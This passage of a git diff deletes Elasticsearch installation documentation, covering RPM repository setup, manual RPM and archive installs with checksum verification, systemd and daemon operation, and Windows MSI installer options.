-be found on the link:/downloads/past-releases[Past Releases page].
-
-NOTE: Elasticsearch includes a bundled version of https://openjdk.java.net[OpenJDK]
-from the JDK maintainers (GPLv2+CE). To use your own version of Java,
-see the <<jvm-version, JVM version requirements>>
-
-[[rpm-key]]
-==== Import the Elasticsearch PGP Key
-
-include::key.asciidoc[]
-
-[source,sh]
--------------------------
-rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch
--------------------------
-
-[[rpm-repo]]
-==== Installing from the RPM repository
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of Elasticsearch has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-Create a file called `elasticsearch.repo` in the `/etc/yum.repos.d/` directory
-for RedHat based distributions, or in the `/etc/zypp/repos.d/` directory for
-OpenSuSE based distributions, containing:
-
-ifeval::["{release-state}"=="released"]
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-[elasticsearch]
-name=Elasticsearch repository for {major-version} packages
-baseurl=https://artifacts.elastic.co/packages/{major-version}/yum
-gpgcheck=1
-gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
-enabled=0
-autorefresh=1
-type=rpm-md
---------------------------------------------------
-
-endif::[]
-
-ifeval::["{release-state}"=="prerelease"]
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-[elasticsearch]
-name=Elasticsearch repository for {major-version} packages
-baseurl=https://artifacts.elastic.co/packages/{major-version}-prerelease/yum
-gpgcheck=1
-gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
-enabled=0
-autorefresh=1
-type=rpm-md
---------------------------------------------------
-
-endif::[]
-
-And your repository is ready for use. You can now install Elasticsearch with one of the following commands:
-
-[source,sh]
---------------------------------------------------
-sudo yum install --enablerepo=elasticsearch elasticsearch <1>
-sudo dnf install --enablerepo=elasticsearch elasticsearch <2>
-sudo zypper modifyrepo --enable elasticsearch && \
-  sudo zypper install elasticsearch; \
-  sudo zypper modifyrepo --disable elasticsearch <3>
---------------------------------------------------
-<1> Use `yum` on CentOS and older Red Hat based distributions.
-<2> Use `dnf` on Fedora and other newer Red Hat distributions.
-<3> Use `zypper` on OpenSUSE based distributions
-
-NOTE: The configured repository is disabled by default. This eliminates the possibility of accidentally
-upgrading `elasticsearch` when upgrading the rest of the system. Each install or upgrade command
-must explicitly enable the repository as indicated in the sample commands above.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-[NOTE]
-==================================================
-
-An alternative package which contains only features that are available under the
-Apache 2.0 license is also available. To install it, use the following `baseurl` in your `elasticsearch.repo` file:
-
-ifeval::["{release-state}"=="prerelease"]
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-baseurl=https://artifacts.elastic.co/packages/oss-{major-version}-prerelease/yum
---------------------------------------------------
-
-endif::[]
-
-ifeval::["{release-state}"!="prerelease"]
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-baseurl=https://artifacts.elastic.co/packages/oss-{major-version}/yum
---------------------------------------------------
-
-endif::[]
-
-==================================================
-
-endif::[]
-
-[[install-rpm]]
-==== Download and install the RPM manually
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of Elasticsearch has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-The RPM for Elasticsearch v{version} can be downloaded from the website and installed as follows:
-
-["source","sh",subs="attributes"]
---------------------------------------------
-wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-x86_64.rpm
-wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-x86_64.rpm.sha512
-shasum -a 512 -c elasticsearch-{version}-x86_64.rpm.sha512 <1>
-sudo rpm --install elasticsearch-{version}-x86_64.rpm
---------------------------------------------
-<1> Compares the SHA of the downloaded RPM and the published checksum, which should output
-    `elasticsearch-{version}-x86_64.rpm: OK`.
-    
-Alternatively, you can download the following package, which contains only 
-features that are available under the Apache 2.0 license: 
-https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-oss-{version}-x86_64.rpm    
-
-endif::[]
-
-include::skip-set-kernel-parameters.asciidoc[]
-
-ifdef::include-xpack[]
-[role="xpack"]
-[[rpm-enable-indices]]
-==== Enable automatic creation of system indices
-
-include::xpack-indices.asciidoc[]
-
-endif::include-xpack[]
-
-[[rpm-sysv-init-vs-systemd]]
-==== SysV `init` vs `systemd`
-
-include::init-systemd.asciidoc[]
-
-[[rpm-running-init]]
-include::rpm-init.asciidoc[]
-
-[[rpm-running-systemd]]
-include::systemd.asciidoc[]
-
-[[rpm-check-running]]
-include::check-running.asciidoc[]
-
-[[rpm-configuring]]
-==== Configuring Elasticsearch
-
-include::etc-elasticsearch.asciidoc[]
-
-The RPM also has a system configuration file (`/etc/sysconfig/elasticsearch`),
-which allows you to set the following parameters:
-
-include::sysconfig-file.asciidoc[]
-
-NOTE: Distributions that use `systemd` require that system resource limits be
-configured via `systemd` rather than via the `/etc/sysconfig/elasticsearch`
-file.  See <<systemd>> for more information.
-
-[[rpm-layout]]
-==== Directory layout of RPM
-
-The RPM places config files, logs, and the data directory in the appropriate
-locations for an RPM-based system:
-
-
-[cols="<h,<,<m,<m",options="header",]
-|=======================================================================
-| Type | Description | Default Location | Setting
-| home
-  | Elasticsearch home directory or `$ES_HOME`
-  | /usr/share/elasticsearch
- d|
-
-| bin
-  | Binary scripts including `elasticsearch` to start a node
-    and `elasticsearch-plugin` to install plugins
-  | /usr/share/elasticsearch/bin
- d|
-
-| conf
-  | Configuration files including `elasticsearch.yml`
-  | /etc/elasticsearch
-  | <<config-files-location,ES_PATH_CONF>>
-
-| conf
-  | Environment variables including heap size, file descriptors.
-  | /etc/sysconfig/elasticsearch
- d|
-
-| data
-  | The location of the data files of each index / shard allocated
-    on the node. Can hold multiple locations.
-  | /var/lib/elasticsearch
-  | path.data
-
-| jdk
-  | The bundled Java Development Kit used to run Elasticsearch. Can
-    be overridden by setting the `JAVA_HOME` environment variable
-    in `/etc/sysconfig/elasticsearch`.
-  | /usr/share/elasticsearch/jdk
- d|
-
-| logs
-  | Log files location.
-  | /var/log/elasticsearch
-  | path.logs
-
-| plugins
-  | Plugin files location. Each plugin will be contained in a subdirectory.
-  | /usr/share/elasticsearch/plugins
-  |
-
-| repo
-  | Shared file system repository locations. Can hold multiple locations. A file system repository can be placed in to any subdirectory of any directory specified here.
- d| Not configured
-  | path.repo
-
-|=======================================================================
-
-include::next-steps.asciidoc[]
diff --git a/docs/reference/setup/install/skip-set-kernel-parameters.asciidoc b/docs/reference/setup/install/skip-set-kernel-parameters.asciidoc
deleted file mode 100644
index 32faabc4b08..00000000000
--- a/docs/reference/setup/install/skip-set-kernel-parameters.asciidoc
+++ /dev/null
@@ -1,2 +0,0 @@
-NOTE: On systemd-based distributions, the installation scripts will attempt to set kernel parameters (e.g.,
-`vm.max_map_count`); you can skip this by masking the systemd-sysctl.service unit.
diff --git a/docs/reference/setup/install/sysconfig-file.asciidoc b/docs/reference/setup/install/sysconfig-file.asciidoc
deleted file mode 100644
index 0532132cdad..00000000000
--- a/docs/reference/setup/install/sysconfig-file.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
-[horizontal]
-`JAVA_HOME`::
-
-  Set a custom Java path to be used.
-
-`MAX_OPEN_FILES`::
-
-    Maximum number of open files, defaults to `65535`.
-
-`MAX_LOCKED_MEMORY`::
-
-    Maximum locked memory size. Set to `unlimited` if you use the
-    `bootstrap.memory_lock` option in elasticsearch.yml.
-
-`MAX_MAP_COUNT`::
-
-    Maximum number of memory map areas a process may have. If you use `mmapfs`
-    as index store type, make sure this is set to a high value. For more
-    information, check the
-    https://github.com/torvalds/linux/blob/master/Documentation/sysctl/vm.txt[linux kernel documentation]
-    about `max_map_count`. This is set via `sysctl` before starting
-    Elasticsearch. Defaults to `262144`.
-
-`ES_PATH_CONF`::
-
-    Configuration file directory (which needs to include `elasticsearch.yml`,
-    `jvm.options`, and `log4j2.properties` files); defaults to
-    `/etc/elasticsearch`.
-
-`ES_JAVA_OPTS`::
-
-    Any additional JVM system properties you may want to apply.
-
-`RESTART_ON_UPGRADE`::
-
-    Configure restart on package upgrade, defaults to `false`. This means you
-    will have to restart your Elasticsearch instance after installing a
-    package manually. The reason for this is to ensure, that upgrades in a
-    cluster do not result in a continuous shard reallocation resulting in high
-    network traffic and reducing the response times of your cluster.
diff --git a/docs/reference/setup/install/systemd.asciidoc b/docs/reference/setup/install/systemd.asciidoc
deleted file mode 100644
index 274a599e68f..00000000000
--- a/docs/reference/setup/install/systemd.asciidoc
+++ /dev/null
@@ -1,66 +0,0 @@
-==== Running Elasticsearch with `systemd`
-
-To configure Elasticsearch to start automatically when the system boots up,
-run the following commands:
-
-[source,sh]
---------------------------------------------------
-sudo /bin/systemctl daemon-reload
-sudo /bin/systemctl enable elasticsearch.service
---------------------------------------------------
-
-Elasticsearch can be started and stopped as follows:
-
-[source,sh]
---------------------------------------------
-sudo systemctl start elasticsearch.service
-sudo systemctl stop elasticsearch.service
---------------------------------------------
-
-These commands provide no feedback as to whether Elasticsearch was started
-successfully or not. Instead, this information will be written in the log
-files located in `/var/log/elasticsearch/`.
-
-If you have password-protected your {es} keystore, you will need to provide
-`systemd` with the keystore password using a local file and systemd environment
-variables. This local file should be protected while it exists and may be
-safely deleted once Elasticsearch is up and running.
-
-[source,sh]
------------------------------------------------------------------------------------
-echo "keystore_password" > /path/to/my_pwd_file.tmp
-chmod 600 /path/to/my_pwd_file.tmp
-sudo systemctl set-environment ES_KEYSTORE_PASSPHRASE_FILE=/path/to/my_pwd_file.tmp
-sudo systemctl start elasticsearch.service
------------------------------------------------------------------------------------
-
-By default the Elasticsearch service doesn't log information in the `systemd`
-journal. To enable `journalctl` logging, the `--quiet` option must be removed
- from the `ExecStart` command line in the `elasticsearch.service` file.
-
-When `systemd` logging is enabled, the logging information are available using
-the `journalctl` commands:
-
-To tail the journal:
-
-[source,sh]
---------------------------------------------
-sudo journalctl -f
---------------------------------------------
-
-To list journal entries for the elasticsearch service:
-
-[source,sh]
---------------------------------------------
-sudo journalctl --unit elasticsearch
---------------------------------------------
-
-To list journal entries for the elasticsearch service starting from a given time:
-
-[source,sh]
---------------------------------------------
-sudo journalctl --unit elasticsearch --since  "2016-10-30 18:17:16"
---------------------------------------------
-
-Check `man journalctl` or https://www.freedesktop.org/software/systemd/man/journalctl.html for
-more command line options.
diff --git a/docs/reference/setup/install/targz-daemon.asciidoc b/docs/reference/setup/install/targz-daemon.asciidoc
deleted file mode 100644
index 004f69bdaa0..00000000000
--- a/docs/reference/setup/install/targz-daemon.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-==== Running as a daemon
-
-To run Elasticsearch as a daemon, specify `-d` on the command line, and record
-the process ID in a file using the `-p` option:
-
-[source,sh]
---------------------------------------------
-./bin/elasticsearch -d -p pid
---------------------------------------------
-
-If you have password-protected the {es} keystore, you will be prompted
-to enter the keystore's password. See <<secure-settings>> for more
-details.
-
-Log messages can be found in the `$ES_HOME/logs/` directory.
-
-To shut down Elasticsearch, kill the process ID recorded in the `pid` file:
-
-[source,sh]
---------------------------------------------
-pkill -F pid
---------------------------------------------
-
-NOTE: The {es} `.tar.gz` package does not include the `systemd` module. To
-manage {es} as a service, use the <<start-deb,Debian>> or <<start-rpm,RPM>>
-package instead.
\ No newline at end of file
diff --git a/docs/reference/setup/install/targz-start.asciidoc b/docs/reference/setup/install/targz-start.asciidoc
deleted file mode 100644
index cf90e05d173..00000000000
--- a/docs/reference/setup/install/targz-start.asciidoc
+++ /dev/null
@@ -1,21 +0,0 @@
-==== Running Elasticsearch from the command line
-
-Elasticsearch can be started from the command line as follows:
-
-[source,sh]
---------------------------------------------
-./bin/elasticsearch
---------------------------------------------
-
-If you have password-protected the {es} keystore, you will be prompted
-to enter the keystore's password. See <<secure-settings>> for more
-details.
-
-By default, Elasticsearch runs in the foreground, prints its logs to the
-standard output (`stdout`), and can be stopped by pressing `Ctrl-C`.
-
-NOTE: All scripts packaged with Elasticsearch require a version of Bash
-that supports arrays and assume that Bash is available at `/bin/bash`.
-As such, Bash should be available at this path either directly or via a
-symbolic link.
-
diff --git a/docs/reference/setup/install/targz.asciidoc b/docs/reference/setup/install/targz.asciidoc
deleted file mode 100644
index cc374f1ea24..00000000000
--- a/docs/reference/setup/install/targz.asciidoc
+++ /dev/null
@@ -1,175 +0,0 @@
-[[targz]]
-=== Install Elasticsearch from archive on Linux or MacOS
-
-Elasticsearch is as a `.tar.gz` archive for Linux and MacOS. 
-
-include::license.asciidoc[]
-
-The latest stable version of Elasticsearch can be found on the
-link:/downloads/elasticsearch[Download Elasticsearch] page.
-Other versions can be found on the
-link:/downloads/past-releases[Past Releases page].
-
-NOTE: Elasticsearch includes a bundled version of https://openjdk.java.net[OpenJDK]
-from the JDK maintainers (GPLv2+CE). To use your own version of Java,
-see the <<jvm-version, JVM version requirements>>
-
-[[install-linux]]
-==== Download and install archive for Linux
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of Elasticsearch has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-The Linux archive for Elasticsearch v{version} can be downloaded and installed as follows:
-
-["source","sh",subs="attributes"]
---------------------------------------------
-wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-linux-x86_64.tar.gz
-wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-linux-x86_64.tar.gz.sha512
-shasum -a 512 -c elasticsearch-{version}-linux-x86_64.tar.gz.sha512 <1>
-tar -xzf elasticsearch-{version}-linux-x86_64.tar.gz
-cd elasticsearch-{version}/ <2>
---------------------------------------------
-<1> Compares the SHA of the downloaded `.tar.gz` archive and the published checksum, which should output
-    `elasticsearch-{version}-linux-x86_64.tar.gz: OK`.
-<2> This directory is known as `$ES_HOME`.
-
-Alternatively, you can download the following package, which includes only 
-Apache 2.0 licensed code: 
-https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-oss-{version}-linux-x86_64.tar.gz
-
-endif::[]
-
-[[install-macos]]
-==== Download and install archive for MacOS
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of Elasticsearch has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-The MacOS archive for Elasticsearch v{version} can be downloaded and installed as follows:
-
-["source","sh",subs="attributes"]
---------------------------------------------
-wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-darwin-x86_64.tar.gz
-wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-darwin-x86_64.tar.gz.sha512
-shasum -a 512 -c elasticsearch-{version}-darwin-x86_64.tar.gz.sha512 <1>
-tar -xzf elasticsearch-{version}-darwin-x86_64.tar.gz
-cd elasticsearch-{version}/ <2>
---------------------------------------------
-<1> Compares the SHA of the downloaded `.tar.gz` archive and the published checksum, which should output
-    `elasticsearch-{version}-darwin-x86_64.tar.gz: OK`.
-<2> This directory is known as `$ES_HOME`.
-
-Alternatively, you can download the following package, which includes only 
-Apache 2.0 licensed code: 
-https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-oss-{version}-darwin-x86_64.tar.gz
-
-endif::[]
-
-ifdef::include-xpack[]
-[role="xpack"]
-[[targz-enable-indices]]
-==== Enable automatic creation of system indices
-
-include::xpack-indices.asciidoc[]
-
-endif::include-xpack[]
-
-[[targz-running]]
-include::targz-start.asciidoc[]
-
-include::check-running.asciidoc[]
-
-Log printing to `stdout` can be disabled using the `-q` or `--quiet`
-option on the command line.
-
-[[setup-installation-daemon]]
-include::targz-daemon.asciidoc[]
-
-[[targz-configuring]]
-==== Configuring Elasticsearch on the command line
-
-Elasticsearch loads its configuration from the `$ES_HOME/config/elasticsearch.yml`
-file by default.  The format of this config file is explained in
-<<settings>>.
-
-Any settings that can be specified in the config file can also be specified on
-the command line, using the `-E` syntax as follows:
-
-[source,sh]
---------------------------------------------
-./bin/elasticsearch -d -Ecluster.name=my_cluster -Enode.name=node_1
---------------------------------------------
-
-TIP: Typically, any cluster-wide settings (like `cluster.name`) should be
-added to the `elasticsearch.yml` config file, while any node-specific settings
-such as `node.name` could be specified on the command line.
-
-[[targz-layout]]
-==== Directory layout of archives
-
-The archive distributions are entirely self-contained. All files and
-directories are, by default, contained within `$ES_HOME` -- the directory
-created when unpacking the archive.
-
-This is very convenient because you don't have to create any directories to
-start using Elasticsearch, and uninstalling Elasticsearch is as easy as
-removing the `$ES_HOME` directory.  However, it is advisable to change the
-default locations of the config directory, the data directory, and the logs
-directory so that you do not delete important data later on.
-
-
-[cols="<h,<,<m,<m",options="header",]
-|=======================================================================
-| Type | Description | Default Location | Setting
-| home
-  | Elasticsearch home directory or `$ES_HOME`
- d| Directory created by unpacking the archive
-  |
-
-| bin
-  | Binary scripts including `elasticsearch` to start a node
-    and `elasticsearch-plugin` to install plugins
-  | $ES_HOME/bin
- d|
-
-| conf
-  | Configuration files including `elasticsearch.yml`
-  | $ES_HOME/config
-  | <<config-files-location,ES_PATH_CONF>>
-
-| data
-  | The location of the data files of each index / shard allocated
-    on the node. Can hold multiple locations.
-  | $ES_HOME/data
-  | path.data
-
-| logs
-  | Log files location.
-  | $ES_HOME/logs
-  | path.logs
-
-| plugins
-  | Plugin files location. Each plugin will be contained in a subdirectory.
-  | $ES_HOME/plugins
-  |
-
-| repo
-  | Shared file system repository locations. Can hold multiple locations. A file system repository can be placed in to any subdirectory of any directory specified here.
- d| Not configured
-  | path.repo
-
-|=======================================================================
-
-
-include::next-steps.asciidoc[]
diff --git a/docs/reference/setup/install/windows.asciidoc b/docs/reference/setup/install/windows.asciidoc
deleted file mode 100644
index 27cd8fcf9f1..00000000000
--- a/docs/reference/setup/install/windows.asciidoc
+++ /dev/null
@@ -1,516 +0,0 @@
-[[windows]]
-=== Install Elasticsearch with Windows MSI Installer
-
-beta[]
-
-Elasticsearch can be installed on Windows using the `.msi` package.  This can
-install Elasticsearch as a Windows service or allow it to be run manually using
-the included `elasticsearch.exe` executable.
-
-TIP: Elasticsearch has historically been installed on Windows using the <<zip-windows, .zip>> archive.
-You can continue using the `.zip` approach if you prefer.
-
-include::license.asciidoc[]
-
-NOTE: On Windows the Elasticsearch {ml} feature requires the Microsoft Universal
-C Runtime library. This is built into Windows 10, Windows Server 2016 and more
-recent versions of Windows. For older versions of Windows it can be installed
-via Windows Update, or from a
-https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows[separate download].
-If you cannot install the Microsoft Universal C Runtime library you can still
-use the rest of Elasticsearch if you disable the {ml} feature.
-
-The latest stable version of Elasticsearch can be found on the
-link:/downloads/elasticsearch[Download Elasticsearch] page.
-Other versions can be found on the
-link:/downloads/past-releases[Past Releases page].
-
-NOTE: Elasticsearch includes a bundled version of https://openjdk.java.net[OpenJDK]
-from the JDK maintainers (GPLv2+CE). To use your own version of Java,
-see the <<jvm-version, JVM version requirements>>
-
-[[download-msi]]
-==== Download the `.msi` package
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of Elasticsearch has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-Download the `.msi` package for Elasticsearch v{version} from https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}.msi
-
-endif::[]
-
-[[install-msi-gui]]
-==== Install using the graphical user interface (GUI)
-
-Double-click the downloaded `.msi` package to launch a GUI wizard that will guide you through the
-installation process. You can view help on any step by clicking the `?` button, which reveals an
-aside panel with additional information for each input:
-
-[[msi-installer-help]]
-image::images/msi_installer/msi_installer_help.png[]
-
-Within the first screen, select the directory for the installation. In addition, select directories for where
-data, logs and configuration will be placed or <<msi-command-line-options,use the default locations>>:
-
-[[msi-installer-locations]]
-image::images/msi_installer/msi_installer_locations.png[]
-
-Then select whether to install as a service or start Elasticsearch manually as needed. When
-installing as a service, you can also configure the Windows account to run the service with,
-whether the service should be started after installation and the Windows startup behaviour:
-
-[[msi-installer-service]]
-image::images/msi_installer/msi_installer_service.png[]
-
-IMPORTANT: When selecting a Windows account to run the service with, be sure that the chosen account
-has sufficient privileges to access the installation and other deployment directories chosen. Also
-ensure the account is able to run Windows services.
-
-Common configuration settings are exposed within the Configuration section, allowing the cluster
-name, node name and roles to be set, in addition to memory and network settings:
-
-[[msi-installer-configuration]]
-image::images/msi_installer/msi_installer_configuration.png[]
-
-A list of common plugins that can be downloaded and installed as part of the installation, with the option to configure an HTTPS proxy through which to download these plugins.
-
-TIP: Ensure the installation machine has access to the internet and that any corporate firewalls in place are configured to allow downloads from `artifacts.elastic.co`:
-
-[[msi-installer-selected-plugins]]
-image::images/msi_installer/msi_installer_selected_plugins.png[]
-
-As of version 6.3.0, {xpack} is now https://www.elastic.co/products/x-pack/open[bundled by default].
-The final step allows a choice of the type of license to install, in addition to
-security configuration and built-in user configuration:
-
-[[msi-installer-xpack]]
-image::images/msi_installer/msi_installer_xpack.png[]
-
-NOTE: {xpack} includes a choice of a Trial or Basic license. A Trial license is
-valid for 30 days, after which you can obtain one of the available subscriptions.
-The Basic license is free and perpetual. Consult the
-https://www.elastic.co/subscriptions[available subscriptions] for further
-details on which features are available under which license.
-
-After clicking the install button, the installation will begin:
-
-[[msi-installer-installing]]
-image::images/msi_installer/msi_installer_installing.png[]
-
-...and will indicate when it has been successfully installed:
-
-[[msi-installer-success]]
-image::images/msi_installer/msi_installer_success.png[]
-
-[[install-msi-command-line]]
-==== Install using the command line
-
-The `.msi` can also install Elasticsearch using the command line. The simplest installation
-using the same defaults as the GUI is achieved by first navigating to the download directory,
-then running:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-msiexec.exe /i elasticsearch-{version}.msi /qn
---------------------------------------------
-
-By default, `msiexec.exe` does not wait for the installation process to complete, since it runs in the
-Windows subsystem. To wait on the process to finish and ensure that `%ERRORLEVEL%` is set
-accordingly, it is recommended to use `start /wait` to create a process and wait for it to exit
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /i elasticsearch-{version}.msi /qn
---------------------------------------------
-
-As with any MSI installation package, a log file for the installation process can be found
-within the `%TEMP%` directory, with a randomly generated name adhering to the format
-`MSI<random>.LOG`. The path to a log file can be supplied using the `/l` command line argument
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /i elasticsearch-{version}.msi /qn /l install.log
---------------------------------------------
-
-Supported Windows Installer command line arguments can be viewed using
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-msiexec.exe /help
---------------------------------------------
-
-...or by consulting the https://msdn.microsoft.com/en-us/library/windows/desktop/aa367988(v=vs.85).aspx[Windows Installer SDK Command-Line Options].
-
-[[msi-command-line-options]]
-==== Command line options
-
-All settings exposed within the GUI are also available as command line arguments (referred to
-as _properties_ within Windows Installer documentation) that can be passed to `msiexec.exe`:
-
-[horizontal]
-`INSTALLDIR`::
-
-  The installation directory. The final directory in the path **must**
-  be the version of Elasticsearch.
-  Defaults to ++%ProgramW6432%\Elastic\Elasticsearch{backslash}{version}++.
-
-`DATADIRECTORY`::
-
-  The directory in which to store your data.
-  Defaults to `%ALLUSERSPROFILE%\Elastic\Elasticsearch\data`
-
-`CONFIGDIRECTORY`::
-
-  The directory in which to store your configuration.
-  Defaults to `%ALLUSERSPROFILE%\Elastic\Elasticsearch\config`
-
-`LOGSDIRECTORY`::
-
-  The directory in which to store your logs.
-  Defaults to `%ALLUSERSPROFILE%\Elastic\Elasticsearch\logs`
-
-`PLACEWRITABLELOCATIONSINSAMEPATH`::
-
-  Whether the data, configuration and logs directories
-  should be created under the installation directory. Defaults to `false`
-
-`INSTALLASSERVICE`::
-
-  Whether Elasticsearch is installed and configured as a Windows Service.
-  Defaults to `true`
-
-`STARTAFTERINSTALL`::
-
-  Whether the Windows Service is started after installation finishes.
-  Defaults to `true`
-
-`STARTWHENWINDOWSSTARTS`::
-
-  Whether the Windows Service is started when Windows is started.
-  Defaults to `true`
-
-`USELOCALSYSTEM`::
-
-  Whether the Windows service runs under the LocalSystem Account.
-  Defaults to `true`
-
-`USENETWORKSERVICE`::
-
-  Whether the Windows service runs under the NetworkService Account. Defaults
-  to `false`
-
-`USEEXISTINGUSER`::
-
-  Whether the Windows service runs under a specified existing account. Defaults
-  to `false`
-
-`USER`::
-
-  The username for the account under which the Windows service runs. Defaults to `""`
-
-`PASSWORD`::
-
-  The password for the account under which the Windows service runs. Defaults to `""`
-
-`CLUSTERNAME`::
-
-  The name of the cluster. Defaults to `elasticsearch`
-
-`NODENAME`::
-
-  The name of the node. Defaults to `%COMPUTERNAME%`
-
-`MASTERNODE`::
-
-  Whether Elasticsearch is configured as a master node. Defaults to `true`
-
-`DATANODE`::
-
-  Whether Elasticsearch is configured as a data node. Defaults to `true`
-
-`INGESTNODE`::
-
-  Whether Elasticsearch is configured as an ingest node. Defaults to `true`
-
-`SELECTEDMEMORY`::
-
-  The amount of memory to allocate to the JVM heap for Elasticsearch.
-  Defaults to `2048` unless the target machine has less than 4GB in total, in which case
-  it defaults to 50% of total memory.
-
-`LOCKMEMORY`::
-
-  Whether `bootstrap.memory_lock` should be used to try to lock the process
-  address space into RAM. Defaults to `false`
-
-`UNICASTNODES`::
-
-  A comma separated list of hosts in the form `host:port` or `host` to be used for
-  unicast discovery. Defaults to `""`
-
-`MINIMUMMASTERNODES`::
-
-  The minimum number of master-eligible nodes that must be visible
-  in order to form a cluster. Defaults to `""`
-
-`NETWORKHOST`::
-
-  The hostname or IP address to bind the node to and _publish_ (advertise) this
-  host to other nodes in the cluster. Defaults to `""`
-
-`HTTPPORT`::
-
-  The port to use for exposing Elasticsearch APIs over HTTP. Defaults to `9200`
-
-`TRANSPORTPORT`::
-
-  The port to use for internal communication between nodes within the cluster.
-  Defaults to `9300`
-
-`PLUGINS`::
-
-  A comma separated list of the plugins to download and install as part of the
-  installation. Defaults to `""`
-
-`HTTPSPROXYHOST`::
-
-  The proxy host to use to download plugins over HTTPS. Defaults to `""`
-
-`HTTPSPROXYPORT`::
-
-  The proxy port to use to download plugins over HTTPS. Defaults to `443`
-
-`HTTPPROXYHOST`::
-
-  The proxy host to use to download plugins over HTTP. Defaults to `""`
-
-`HTTPPROXYPORT`::
-
-  The proxy port to use to download plugins over HTTP. Defaults to `80`
-
-`XPACKLICENSE`::
-
-  The type of license to install, either `Basic` or `Trial`. Defaults to `Basic`
-
-`XPACKSECURITYENABLED`::
-
-  When installing with a `Trial` license, whether {security-features} are
-  enabled. Defaults to `true`
-
-`BOOTSTRAPPASSWORD`::
-
-  When installing with a `Trial` license and {security-features} are enabled,
-  the password to used to bootstrap the cluster and persisted as the
-  `bootstrap.password` setting in the keystore. Defaults to a randomized value.
-
-`SKIPSETTINGPASSWORDS`::
-
-  When installing with a `Trial` license and {security-features} enabled,
-  whether the installation should skip setting up the built-in users.
-  Defaults to `false`
-
-`ELASTICUSERPASSWORD`::
-
-  When installing with a `Trial` license and {security-features} are enabled,
-  the password to use for the built-in user `elastic`. Defaults to `""`
-
-`KIBANAUSERPASSWORD`::
-
-  When installing with a `Trial` license and {security-features} are enabled,
-  the password to use for the built-in user `kibana`. Defaults to `""`
-
-`LOGSTASHSYSTEMUSERPASSWORD`::
-
-  When installing with a `Trial` license and {security-features} are enabled,
-  the password to use for the built-in user `logstash_system`. Defaults to `""`
-
-To pass a value, simply append the property name and value using the format
-`<PROPERTYNAME>="<VALUE>"` to the installation command. For example, to use a
-different installation directory to the default one:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /i elasticsearch-{version}.msi /qn INSTALLDIR="C:\Custom Install Directory\{version}" 
---------------------------------------------
-
-Consult the https://msdn.microsoft.com/en-us/library/windows/desktop/aa367988(v=vs.85).aspx[Windows Installer SDK Command-Line Options]
-for additional rules related to values containing quotation marks.
-
-ifdef::include-xpack[]
-[role="xpack"]
-[[msi-installer-enable-indices]]
-==== Enable automatic creation of system indices
-
-include::xpack-indices.asciidoc[]
-
-endif::include-xpack[]
-
-[[msi-installer-command-line-running]]
-include::msi-windows-start.asciidoc[]
-
-[[msi-installer-command-line-configuration]]
-==== Configuring Elasticsearch on the command line
-
-Elasticsearch loads its configuration from the `%ES_PATH_CONF%\elasticsearch.yml`
-file by default. The format of this config file is explained in
-<<settings>>.
-
-Any settings that can be specified in the config file can also be specified on
-the command line, using the `-E` syntax as follows:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-.\bin\elasticsearch.exe -E cluster.name=my_cluster -E node.name=node_1
---------------------------------------------
-
-NOTE: Values that contain spaces must be surrounded with quotes.  For instance `-E path.logs="C:\My Logs\logs"`.
-
-TIP: Typically, any cluster-wide settings (like `cluster.name`) should be
-added to the `elasticsearch.yml` config file, while any node-specific settings
-such as `node.name` could be specified on the command line.
-
-include::check-running.asciidoc[]
-
-[[msi-installer-windows-service]]
-==== Installing Elasticsearch as a Service on Windows
-
-Elasticsearch can be installed as a service to run in the background or start
-automatically at boot time without any user interaction. This can be achieved upon installation
-using the following command line options
-
-* `INSTALLASSERVICE=true`
-* `STARTAFTERINSTALL=true`
-* `STARTWHENWINDOWSSTARTS=true`
-
-Once installed, Elasticsearch will appear within the Services control panel:
-
-[[msi-installer-installed-service]]
-image::images/msi_installer/msi_installer_installed_service.png[]
-
-and can be stopped and restarted from within the control panel, or from the command line using:
-
-with Command Prompt:
-
-[source,sh]
---------------------------------------------
-sc.exe stop Elasticsearch
-sc.exe start Elasticsearch
---------------------------------------------
-
-with PowerShell:
-
-[source,powershell]
---------------------------------------------
-Get-Service Elasticsearch | Stop-Service
-Get-Service Elasticsearch | Start-Service
---------------------------------------------
-
-Changes can be made to `jvm.options` and `elasticsearch.yml` configuration files to configure the
